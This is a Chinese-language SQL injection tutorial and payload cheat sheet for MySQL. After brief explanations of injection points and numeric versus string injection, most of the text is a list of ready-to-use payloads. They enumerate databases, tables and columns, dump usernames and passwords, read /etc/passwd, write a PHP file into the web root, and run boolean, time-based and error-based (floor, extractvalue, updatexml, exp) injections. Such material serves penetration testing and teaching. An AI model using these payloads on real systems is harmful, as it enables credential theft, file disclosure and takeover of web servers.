什么是SQL注入
攻击者将sql查询语句通过参数过滤不当的部分传入服务器中,数据库执行攻击者插入的sql查询语句,让攻击者得到自己想要的数据或者达成想达到的目的。
判断是否存在SQL注入
1 | ' |
SQL语句可插入位置
url,常在?id=xxx后,通过get方法。
post,利用post方法。
http header,通过修改http header某些数值来插入sql语句。
SQL注入分类
在《web安全深度剖析》中,作者分为两类:数字型注入和字符型注入。
数字型注入
如果参数是id,年龄,页码等,那么极大可能是数字型的注入。
例如:url为http://www.xxxx.com/index.php?id=1
那么sql查询语句很有可能为select * from table where id=1
可以用'
(页面出错)、and 1=1
(正常显示)、and 1=2
(不出错,但显示不正常)等看是否存在sql注入漏洞。
字符型注入
和数字型注入最大的区别在于,字符型注入需要用'
闭合字符串。
参数可能是用户名等。
例子:http://www.xxxx.com/index.php?username='admin'
查询语句可能为:select * from table where username='admin'
但是如果直接插入sql语句并不能执行,因为查询语句中还有一个'
所以运用sql语句的注释功能将后面的'
注释掉。
例子:?username=admin' and 1=1 --
sql查询语句为:select * from table where username='admin' and 1=1--'
各种sql注入利用姿势及备忘
Mysql
常用语句
mysql自带函数:user()、version()、database()
获取所有数据库:?id=-1' union select 1,group_concat(schema_name),3 FROM information_schema.schemata --+
获取所有表名:?id=-1' union select 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
获取所有列名:?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name='users' --+
获取字段:?id=-1' union select 1,2,group_concat(id,0x7e,username,0x7e,password) FROM users --+
(0x7e是~
的ascii码值)
读取文件:select load_file('/etc/passwd')
写文件:select '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/info.php'
union查询(联合查询注入)
利用union select依次查询列数、数据库名、表名、列名、字段名……
同样,利用'
、and 1=1
、and 1=2
判断是否存在注入。
查询列数:?id=1' ORDER BY 1,2,3 --+
返回正常
?id=1' ORDER BY 1,2,3,4 --+
报错:Unknown column '4' in 'order clause'
说明只有3列。
bool型盲注
运用布尔型的函数和对应的显示界面,来判断自己查询的部分是否正确。
可利用的函数有length()
、ascii()
、mid()
等等
构造注入
1 | true' and bool# |
构造bool值
1 | length(user())='8' |
注:用binary()函数使大小写敏感
延时型盲注
与bool盲注类似,在不直接返回bool值的情况下注入,利用sleep()
。
例如:if((bool),sleep(2),0)
报错注入
mysql报错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法
floor
?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
ExtractValue(有长度限制,最长32位)
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
UpdateXml(有长度限制,最长32位)
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
NAME_CONST(适用于低版本,不太好用)
?id=261 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
Error based Double Query Injection
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
exp(5.5.5以上)
id=1 and (select exp(~(select * from(select user())x)))